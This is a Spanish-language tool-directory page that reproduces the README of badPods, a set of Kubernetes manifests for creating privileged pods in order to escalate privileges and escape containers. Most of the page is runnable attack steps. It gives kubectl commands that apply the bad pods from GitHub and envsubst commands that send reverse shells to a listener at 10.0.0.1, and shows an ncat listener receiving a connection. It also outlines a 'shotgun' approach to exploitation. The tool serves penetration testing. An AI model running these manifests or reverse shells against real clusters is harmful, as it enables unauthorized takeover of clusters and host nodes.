Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
badPods — Una colección de manifiestos que crearán pods con privilegios elevados. | Kitploit
Herramientas/GitHubGitHub/bishopfox/badpods
Escalada de PrivilegiosSeguridad de ContenedoresExplotaciónPruebas de PenetraciónSeguridad en la NubeMala ConfiguraciónEscape de Contenedores
GitHubbishopfox/badpods

badPods

Una colección de manifiestos que crearán pods con privilegios elevados.

Ver Repositorio
706118hace 7 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Bad Pods

Una colección de manifiestos que crean pods con diferentes privilegios elevados. Demuestra rápidamente el impacto de permitir atributos de pod sensibles a la seguridad como hostNetwork, hostPID, hostPath, hostIPC y privileged.

Para obtener más información, consulte nuestra publicación de blog: Bad Pods: Escalada de privilegios en pods de Kubernetes.

Contenido

  • La alineación de Bad Pods
  • Requisitos previos
  • Organización
  • Uso
    • Enfoque de alto nivel
    • Ejemplos de uso
      • Crear los ocho Bad Pods desde el repositorio local clonado
      • Crear los ocho Bad Pods desde Github
      • Crear los ocho Bad Pods de reverse shell
      • Crear los ocho tipos de recursos usando el pod everything-allowed
      • Crear un cronjob con el pod hostNetwork
      • Crear un deployment con el pod priv-and-hostpid
      • Crear una reverse shell usando el pod privilegiado

La alineación de los Bad Pods

Cada enlace a continuación proporciona información detallada de uso y recomendaciones de post-explotación.

  • Bad Pod #1: Todo permitido
  • Bad Pod #2: Privilegiado y hostPid
  • Bad Pod #3: Solo privilegiado
  • Bad Pod #4: Solo hostPath
  • Bad Pod #5: Solo hostPid
  • Bad Pod #6: Solo hostNetwork
  • Bad Pod #7: Solo hostIPC
  • Bad Pod #8: Nada permitido

Para obtener información más general sobre los requisitos previos, la organización del repositorio y los patrones de uso comunes, consulte las secciones siguientes.

Requisitos previos

  1. Acceso a un clúster
  2. Permiso RBAC para crear uno de los siguientes tipos de recursos en al menos un namespace:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. Permiso RBAC para ejecutar (exec) dentro de pods o una política de red que permita que una reverse shell desde un pod llegue hasta usted.
  4. Que no haya una política de seguridad de pods (pod security policy) aplicada, o que exista una política que permita crear pods con uno o más atributos sensibles a la seguridad.

Organización

  • 128 manifiestos autónomos y listos para usar. ¿Por qué tantos?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, etc.)
    • 8 tipos de recursos que pueden crear pods (pod, deployment, replicaset, statefulset, etc.)
    • 2 formas de acceder a los pods creados (exec y reverse shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

Hay ocho formas de crear un pod

Como señala Eviatar Gerzi (@g3rzi) en el artículo Eight Ways to Create a Pod, hay 8 controladores diferentes que pueden crear un pod o un conjunto de pods. Puede que no esté autorizado para crear pods, pero quizá pueda crear otro tipo de recurso que cree uno o más pods. Para cada tipo de badPod, existen manifiestos que corresponden a los ocho tipos de recursos.

Pero espera, ¡aún hay más! Además de los ocho controladores actuales de Kubernetes que pueden crear pods, hay controladores de terceros que también pueden crear pods si se aplican al clúster. Esté atento a ellos revisando kubectl api-resources.

Shells inversas

Aunque es común, no siempre se puede ejecutar (exec) dentro de los pods que se crean. Para ayudar en esas situaciones, se incluye una versión de cada manifiesto que utiliza la imagen ncat de dockerhub de Rory McCune (@raesene). Al crearse, el pod realizará una llamada cifrada de vuelta a su listener.

Uso

Cada recurso en el directorio manifests apunta a un atributo específico o a una combinación de atributos que exponen al clúster a riesgo cuando se permiten.

Enfoque de alto nivel

Opción 1: Enfoque metódico

  1. Evalúe el RBAC - Determine qué tipos de recursos puede crear
  2. Evalúe la política de admisión - Determine cuáles de los Bad Pods podrá crear
  3. Cree los recursos - Según lo que esté permitido, use el tipo de badPod y el tipo de recurso específicos y cree sus recursos
  4. Post-explotación - Evalúe los pasos de post-explotación descritos en el README para ese tipo
    • Todo permitido
    • Privilegiado y hostPid
    • Solo privilegiado
    • Solo hostPath
    • Solo hostPid
    • Solo hostNetwork
    • Solo hostIPC
    • Nada permitido

Opción 2: Enfoque de escopeta

  1. Cree los recursos - Simplemente comience a aplicar diferentes manifiestos y vea qué funciona
    • Crear los ocho Bad Pods desde Github
    • Crear los ocho tipos de recursos usando el pod everything-allowed
  2. Post-explotación - Para cualquier pod creado, evalúe los pasos de post-explotación descritos en el README para ese tipo
    • Todo permitido
    • Privilegiado y hostPid
    • Solo privilegiado
    • Solo hostPath
    • Solo hostPid
    • Solo hostNetwork
    • Solo hostIPC
    • Nada permitido

Ejemplos de uso

  • Crear los ocho Bad Pods desde el repositorio local clonado
  • Crear los ocho Bad Pods desde Github
  • Crear los ocho Bad Pods de reverse shell
  • Crear los ocho tipos de recursos usando el pod everything-allowed
  • Crear un cronjob con el pod hostNetwork
  • Crear un deployment con el pod priv-and-hostpid
  • Crear una reverse shell usando el pod privilegiado

Crear los ocho Bad Pods desde el repositorio local clonado

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Crear los ocho Bad Pods desde Github

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Crear los ocho badPods de reverse shell

Para evitar tener que editar cada pod con su host y puerto, puede usar variables de entorno y el comando envsubst. ¡Recuerde poner en marcha todos sus listeners primero!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

Crear un cronjob con el pod hostNetwork

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

Busque el pod creado

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

Ejecute dentro del pod

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

Crear un deployment con el pod priv-and-hostpid

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

Busque el pod creado

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

Ejecute dentro del pod

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

Crear los ocho tipos de recursos usando el pod everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

Vea todos los pods creados

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

Elimine todos los recursos everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

Crear una reverse shell usando el pod privilegiado

Configure el listener

root@kitploit:~
ncat --ssl -vlp 3116

Cree el pod desde el yaml local sin modificarlo usando variables de entorno y envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

Capture la shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

Contribuciones

Se aceptan pull requests e issues.

Agradecimientos

Gracias a Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi y Madhu Akula por compartir públicamente tanto conocimiento sobre la seguridad ofensiva de Kubernetes.

Referencias y lecturas adicionales

Cada Bad Pod tiene su propia sección de referencias y lecturas adicionales, pero aquí hay algunos recursos más generales que le ayudarán a mejorar sus habilidades en evaluaciones de seguridad de Kubernetes y pruebas de penetración.

Nuevos en el bloque - 2020

  • Container Security Site por @raesene
  • CloudSecDocs - Container Security por @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters por @antitree
  • Comprometiendo clústeres de Kubernetes explotando permisos de RBAC por @g3rzi - Charla / Diapositivas
  • Command and KubeCTL: Seguridad de Kubernetes en el mundo real para pentesters por @antitree - Charla / Blog
  • Kubernetes Goat por @madhuakula - Repositorio / Guía

Los clásicos, de 2019

  • Secure Kubernetes - KubeCon NA 2019 CTF por @tabbysable, @petermbenjamin, @jimmesta y @BradGeesaman
  • El comando de Kubernetes más inútil de la historia por @raesene
  • El camino menos transitado: Abusando de los valores predeterminados de Kubernetes por @IanColdwater y @mauilion- Charla / Repositorio
  • Entendiendo las escapes de contenedores Docker por @disconnect3d_pl
  • Un compendio de escapes de contenedores por @drraid y @0x7674
  • Atacando Kubernetes a través de Kubelet
Descargar herramienta